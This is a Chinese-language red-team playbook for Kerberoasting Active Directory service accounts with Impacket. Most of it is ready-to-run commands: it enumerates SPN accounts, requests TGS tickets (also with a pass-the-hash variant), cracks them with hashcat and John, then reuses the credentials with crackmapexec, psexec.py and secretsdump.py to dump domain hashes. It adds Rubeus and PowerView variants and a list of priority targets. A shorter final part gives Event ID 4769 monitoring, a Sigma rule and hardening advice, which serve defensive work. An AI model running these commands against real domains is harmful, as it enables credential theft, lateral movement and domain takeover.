| name | exploiting-kerberoasting-with-impacket |
| description | 使用 Impacket 的 GetUserSPNs 执行 Kerberoasting 攻击,提取并破解活动目录服务账户的 Kerberos TGS 票据。 |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["kerberoasting","impacket","active-directory","credential-access","kerberos","t1558-003","service-accounts"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
使用 Impacket 执行 Kerberoasting 攻击
概述
Kerberoasting(MITRE ATT&CK T1558.003)是一种凭据访问技术,通过为具有服务主体名称(SPN)的账户请求 Kerberos TGS(票据授予服务)票据来针对活动目录服务账户。TGS 票据使用服务账户的 NTLM 哈希(RC4 或 AES)加密,可进行离线暴力破解。Impacket 的 GetUserSPNs.py 是在 Linux 上执行 Kerberoasting 攻击的标准工具。
前置条件
- 有效的域凭据(任何域用户都可以请求 TGS 票据)
- 到域控制器的网络访问(TCP/88 Kerberos、TCP/389 LDAP)
- 已安装 Impacket(
pip install impacket)
- 用于离线破解的 Hashcat 或 John the Ripper
- 词典文件(如 rockyou.txt、SecLists)
MITRE ATT&CK 映射
| 技术 ID | 名称 | 战术 |
|---|
| T1558.003 | 窃取或伪造 Kerberos 票据:Kerberoasting | 凭据访问 |
| T1087.002 | 账户发现:域账户 | 发现 |
| T1110.002 | 暴力破解:密码破解 | 凭据访问 |
步骤一:枚举 Kerberoastable 账户
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1
步骤二:请求 TGS 票据
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request-user svc_sql
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile kerberoast_hashes.txt
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
-dc-ip 10.10.10.1 -request -outputfile hashes.txt
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile hashes.txt
步骤三:离线破解 TGS 票据
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt --show
步骤四:验证并使用破解的凭据
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm
替代工具
Rubeus(Windows)
# 对所有账户执行 Kerberoasting
.\Rubeus.exe kerberoast /outfile:hashes.txt
# 针对特定用户
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt
# 仅请求 RC4 票据(更容易破解)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt
# 使用 AES 执行 Kerberoasting
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt
PowerView(PowerShell)
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt
定向 Kerberoasting
Kerberoasting 的高价值目标:
| 账户类型 | 原因 | 风险 |
|---|
| 域管理员中的服务账户 | 直接通往域入侵的路径 | 严重 |
| SQL 服务账户(MSSQLSvc) | 通常具有过多权限 | 高 |
| Exchange 服务账户 | 可访问所有邮件 | 高 |
| AdminCount=1 的账户 | 之前/当前具有特权 | 高 |
| 密码过旧的账户 | 更可能使用弱密码 | 中 |
检测
Windows 事件日志
事件 ID 4769 - Kerberos 服务票据请求
- 监控:当预期为 AES 时使用加密类型 0x17(RC4-HMAC)
- 监控:单个用户在短时间内请求大量 TGS 票据
- 监控:来自异常源 IP 的服务票据请求
Sigma 规则
title: 潜在的 Kerberoasting 活动
status: stable
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
ServiceName|endswith: '$'
filter:
ServiceName: 'krbtgt'
condition: selection and not filter
level: medium
tags:
- attack.credential_access
- attack.t1558.003
防御建议
- 使用组托管服务账户(gMSA) - 240 字符随机密码,自动轮换
- 为所有服务账户设置强密码(25 个字符以上)
- 仅启用 AES 加密 - 通过 GPO 禁用 RC4
- 监控事件 ID 4769 中的 RC4 TGS 请求
- 在无法使用 gMSA 的地方实施托管服务账户
- 定期审计 - 运行 BloodHound 识别 Kerberoastable 账户
- 受保护用户组 - 将敏感服务账户添加进去
- 蜜罐 SPN - 创建带有 SPN 的诱饵账户以检测攻击
参考资料